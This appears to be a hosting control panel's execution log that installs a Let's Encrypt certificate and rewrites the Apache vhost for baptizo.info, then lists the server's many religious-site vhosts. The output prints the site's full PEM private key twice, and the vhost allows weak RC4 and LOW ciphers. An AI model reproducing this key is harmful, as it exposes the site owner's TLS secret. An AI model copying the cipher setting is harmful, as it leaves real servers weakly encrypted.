JrWxr/CQB5hm4QWQcTbJPtAdJTdhqv/isQxAOWgYsn46AfmLHvIHijyv6VhMaRsD
aFPCOyLa5Grd57T/GDEWkRcCbk3I7pIoeiXGzRywNxtvj90zbQGq5DMB/hSMAq8o
Q+KQLG7D8QKBgQCBtEdbrl+rsrqYTGeVxGnEPnuLbQZnL6Ucku+txBrISBS9E6ye
C0x65NsvGvSH0+Gg8JRKH/ehtK5/d4ut83FNFbY4J5T6UURTQ8e0xGrpfkmQr6za
w4LItYvbRIgzL+9uZjQHPXuz9TR+wI9yyqe4NyNh0RE+sfSNyfsbe0E6VQKBgQCC
Qrdpxjj1qDJlNxTwbdoNDbBHymA6KxqE9EgeMXnc1xXd9BIcOtv0ikr8QhrgHiGb
VA2L7S+hL2b7bGrhL1zcH+uMNXMmifreln0tAJja435p6nuU0/WDJUgE8h0dluVj
7McQ3qsebGCT/TU/V0P16lw9Jz5rKW5sP7dG53zxYQKBgAiFXnm7DpppmPvoGpJI
cfLZfamReLo8xZmubSGurpmA8juitTG+UY9AQ1WcwEKsXyZP5PrkesYwjtJymuNl
5P87wW9fidA4tkLjy48x6E1cQHjvd/1yV6tfavIGhtHuPny2xAXMkqh3U6C5MV5f
0vDX/RhbC+fZdDclJSQYy4Y5
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-03 06:00:14: 

chmod 755 /tmp/pkp395650; /tmp/pkp395650; rm /tmp/pkp395650

2026-03-03 06:00:14: 


dir=/etc/ssl/certs


2026-03-03 06:00:14: 

PUT: /tmp/pkp982364

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-03 06:00:14: 

chmod 755 /tmp/pkp982364; /tmp/pkp982364; rm /tmp/pkp982364

2026-03-03 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-03 06:00:14: 

PUT: /tmp/pkp793784

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi


2026-03-03 06:00:14: 

chmod 755 /tmp/pkp793784; /tmp/pkp793784; rm /tmp/pkp793784

2026-03-03 06:00:14: 




2026-03-03 06:00:14: 

PUT: /tmp/pkp437478

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-03 06:00:14: 

chmod 755 /tmp/pkp437478; /tmp/pkp437478; rm /tmp/pkp437478

2026-03-03 06:00:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-03 06:00:15: Establishing a connection
2026-03-03 06:00:15: 

PUT: /tmp/pkp900386

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-03 06:00:15: 

chmod 755 /tmp/pkp900386; /tmp/pkp900386; rm /tmp/pkp900386

2026-03-03 06:00:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-03 06:00:15: 

PUT: /tmp/pkp738018

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-03 06:00:15: 

chmod 755 /tmp/pkp738018; /tmp/pkp738018; rm /tmp/pkp738018

2026-03-03 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf	1355

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-03 06:00:15: 

PUT: /tmp/pkp605483

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-03 06:00:15: 

chmod 755 /tmp/pkp605483; /tmp/pkp605483; rm /tmp/pkp605483

2026-03-03 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt	5352
92:bc:e1:25:06:70:03:13:16:71:73:c5:31:10:57:db

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBamb+mUK18nEf72Nl0kGsvhAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAzMDUwMTQzWhcNMjYwNjAxMDUwMTQyWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCa
43Sok5HmdADQeXlwt0jZviWnq6nVUF/3sUzwA4OSjaKFHlWM1XOKcON/0Rkmz9AI
33uSRHTXTgiaiftCSf6g/RoIQHnWA+znzifcmRho3OCVzuYjAnwyHUUB1eQSpyKz
JWMWuqvhr9DWu0tqKgMMnR+i6RJwTeu4VSPwVvG3mEAbtetp6CVdY5HknIc8TdYF
iJJJte3MRAAq3c48ImHOQWysirzAYX1/xNmnP3C6GrOfHLQoN4HjephVcIZml5C8
cPLzX5Pah17Uhe7fxHQfAWvhDGNszU4b5VUYSh3TRwpmWJXbcL02sTtiNAInKXut
GMHYeCxzvhgZGPrSCS7/AgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUR5B3rwOC
+H5i6Q9YjyBfEkIWdegwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxiYXB0aXpvLmluZm+CEHd3dy5iYXB0aXpvLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy82NS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBJ
nJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyySF+vAAAEAwBHMEUC
IEQA+/914wvZ2NtdnG9e9JnU0xyftPMJQdMGPEWJ5o/pAiEA+06eVDsJXR+3FbeL
Wj8KfuXjKfu/CPcPNbLnkFkzamsAdwDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj1
6TGzI8uVBAAAAZyySGCqAAAEAwBIMEYCIQCDmPZ1y6Nr0J4KmeVxLk4+OX0YbuNs
ELT1eLam9VFuJgIhAPIIcvooHVgtxTy3L9TqGvX3LMPT8RHsHrwSJp315NAzMA0G
CSqGSIb3DQEBCwUAA4IBAQBLGCLhw3Yp+QNI4NeaOor0qG8AD+aiIYvmcnaO0teF
HPMGHJpDnnzRAy8eoQNXWSjJTpbjmjhBG9jDp7o+hZklpyErLoqV1xJkySnUxdbT
KSldqisgTgURdXYdxHsHfqRtNGKs4aiw5iGQOVbZZZRFC+T+sg6GqB6qrbCObkZZ
xY+Nxs8s6SpIYaXo7ETgS0ryrynJShFVKZkhXj4WFl7OtWcwKmIfEGwruuoeO1ZS
OPvvmSbY82fy1jKqYE/RWgrk8sONMXhpgpvmdM6505BG5wSbIwo5ovDL+f0/vZoB
TVnInbhsPh3nUDQB/NKQTRl4FfA9+Fv8ccuKsfJenYsr
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCa43Sok5HmdADQ
eXlwt0jZviWnq6nVUF/3sUzwA4OSjaKFHlWM1XOKcON/0Rkmz9AI33uSRHTXTgia
iftCSf6g/RoIQHnWA+znzifcmRho3OCVzuYjAnwyHUUB1eQSpyKzJWMWuqvhr9DW
u0tqKgMMnR+i6RJwTeu4VSPwVvG3mEAbtetp6CVdY5HknIc8TdYFiJJJte3MRAAq
3c48ImHOQWysirzAYX1/xNmnP3C6GrOfHLQoN4HjephVcIZml5C8cPLzX5Pah17U
he7fxHQfAWvhDGNszU4b5VUYSh3TRwpmWJXbcL02sTtiNAInKXutGMHYeCxzvhgZ
GPrSCS7/AgMBAAECggEAC4En5JpAGjR1Qlw2I3j8WG6xtaW1XH/2/jBgAmyDD4B6
rlWQTYDQmgYEN+BhnwriLQ6LIKmks2tQjfNVbi6N0wpfA8w6NdBz08ycabEWFDqN
FJjaFNv15UkG8PnLUiwHkp6NIMk7xBcpirw9qpnf68YYl/f6OSI93HgNI9MUFYAE
DZGbPtcR88kA7f+RSrmvlpC9UgJP8/gXngvyfat81/hdYNXFUw1PRrsMwcoZDdAC
ewWgG1z/r8wbHeuSL/wD8eRxYpmti/7f5CLWsogtzDEkMHlXXe5D7qB9rie97c6J
yK9JFMvFKwaDMN0ddQdcY0GjP+b36M2EpzFO0N9AUQKBgQDVVPr5wOEVqrG6Rbhx
QVYo8KS+ErHjsWOL11H4phHwuj8s6Vt18dspbCRCzieRjHDzvjFiked33+3U8ROH
KG625J0BvwpUkF4wphXsugHCgpiRaZ6kcyq51McsCaI5Bt2XXUo3B/kE5seGu8VG
FOjMqLYBi3mXz7T1G2nm4bFR7wKBgQC53g3qKQPvMjglaz0kCGWL9EIRVn4loUA+
JrWxr/CQB5hm4QWQcTbJPtAdJTdhqv/isQxAOWgYsn46AfmLHvIHijyv6VhMaRsD
aFPCOyLa5Grd57T/GDEWkRcCbk3I7pIoeiXGzRywNxtvj90zbQGq5DMB/hSMAq8o
Q+KQLG7D8QKBgQCBtEdbrl+rsrqYTGeVxGnEPnuLbQZnL6Ucku+txBrISBS9E6ye
C0x65NsvGvSH0+Gg8JRKH/ehtK5/d4ut83FNFbY4J5T6UURTQ8e0xGrpfkmQr6za
w4LItYvbRIgzL+9uZjQHPXuz9TR+wI9yyqe4NyNh0RE+sfSNyfsbe0E6VQKBgQCC
Qrdpxjj1qDJlNxTwbdoNDbBHymA6KxqE9EgeMXnc1xXd9BIcOtv0ikr8QhrgHiGb
VA2L7S+hL2b7bGrhL1zcH+uMNXMmifreln0tAJja435p6nuU0/WDJUgE8h0dluVj
7McQ3qsebGCT/TU/V0P16lw9Jz5rKW5sP7dG53zxYQKBgAiFXnm7DpppmPvoGpJI
cfLZfamReLo8xZmubSGurpmA8juitTG+UY9AQ1WcwEKsXyZP5PrkesYwjtJymuNl
5P87wW9fidA4tkLjy48x6E1cQHjvd/1yV6tfavIGhtHuPny2xAXMkqh3U6C5MV5f
0vDX/RhbC+fZdDclJSQYy4Y5
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
